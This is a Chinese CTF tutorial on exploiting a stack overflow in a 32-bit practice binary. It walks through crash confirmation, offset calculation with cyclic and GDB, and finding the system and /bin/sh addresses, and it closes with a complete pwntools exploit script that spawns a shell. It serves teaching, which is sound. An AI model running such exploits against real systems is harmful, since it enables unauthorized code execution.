CTF Pwn 核心漏洞：栈溢出漏洞利用，从内存布局分析到 Shell 获取实战，含 EXP 编写步骤！

最新推荐文章于 2025-12-09 16:04:46 发布

原创最新推荐文章于 2025-12-09 16:04:46 发布 · 609 阅读

25 ·

CC 4.0 BY-SA版权

文章标签：

#web安全 #网络 #ctf

网络安全同时被 3 个专栏收录

1262 篇文章

订阅专栏

学习路线

568 篇文章

订阅专栏

程序员

406 篇文章

订阅专栏

在这里插入图片描述

二进制漏洞利用（Pwn）是 CTF 中技术门槛最高的题型之一，而栈溢出作为最基础的内存破坏漏洞，是入门 Pwn 的核心知识点。本文以某 CTF 经典栈溢出题为原型，详解从漏洞确认、偏移计算到构造 Payload 获取 Shell 的完整流程，掌握 GDB 调试与 ROP 链基础。

一、题目背景与环境准备

1. 场景描述

题目提供 32 位 Linux 可执行文件vuln，程序功能为读取用户输入并输出，核心代码片段如下：

void vulnerable\_function() {

&#x20;   char buffer\[64];

&#x20;   gets(buffer);  // 不安全的输入函数，无长度限制

&#x20;   printf("You input: %s\n", buffer);

}

程序开启 NX 保护（栈不可执行），关闭 ASLR 与 Canary，适合栈溢出入门练习。

2. 核心工具

调试工具：GDB + pwndbg 插件（查看栈结构、计算偏移）
EXP 编写：Python + pwntools 库（构造 Payload、与程序交互）

二、核心解题步骤：栈溢出利用全流程

1. 第一步：漏洞确认

运行程序并输入超长字符串（如 500 个 ‘A’），程序触发段错误（Segmentation Fault），说明输入超出缓冲区边界，覆盖了返回地址，确认存在栈溢出漏洞。

2. 第二步：计算返回地址偏移

使用 cyclic 工具生成独特模式字符串，通过崩溃时的寄存器值计算偏移：

生成模式字符串：cyclic 100（生成 100 个不重复的字符序列）
GDB 调试：

gdb ./vuln

pwndbg> r

(输入cyclic生成的字符串)

获取崩溃地址：程序崩溃时，EIP 寄存器值为0x6161616c（对应 cyclic 字符串中的kaaa）。
计算偏移：cyclic -l 0x6161616c，返回结果76，即需填充 76 个垃圾字符覆盖缓冲区与 EBP，第 77-80 位为返回地址。

3. 第三步：寻找关键地址

（1）获取 system 函数地址

通过objdump查看程序导入的函数：

objdump -d ./vuln | grep system

\# 输出：08048450 \<system@plt>:

得到system函数地址：0x08048450。

（2）获取 /bin/sh 字符串地址

通过ROPgadget工具搜索程序中的/bin/sh字符串：

ROPgadget --binary ./vuln | grep "/bin/sh"

\# 输出：0804a024 : /bin/sh

得到/bin/sh字符串地址：0x0804a024。

4. 第四步：构造 Payload

Payload 结构（32 位程序）：垃圾字符（76字节） + system地址（4字节） + 返回地址填充（4字节，可任意） + /bin/sh地址（4字节）

Python 代码：

from pwn import \*

p = process('./vuln')  # 本地调试

\# p = remote('xxx.xxx.xxx.xxx', 1234)  # 远程连接

system\_addr = 0x08048450

binsh\_addr = 0x0804a024

payload = b'A'\*76 + p32(system\_addr) + b'AAAA' + p32(binsh\_addr)

p.sendline(payload)

p.interactive()  # 获取交互Shell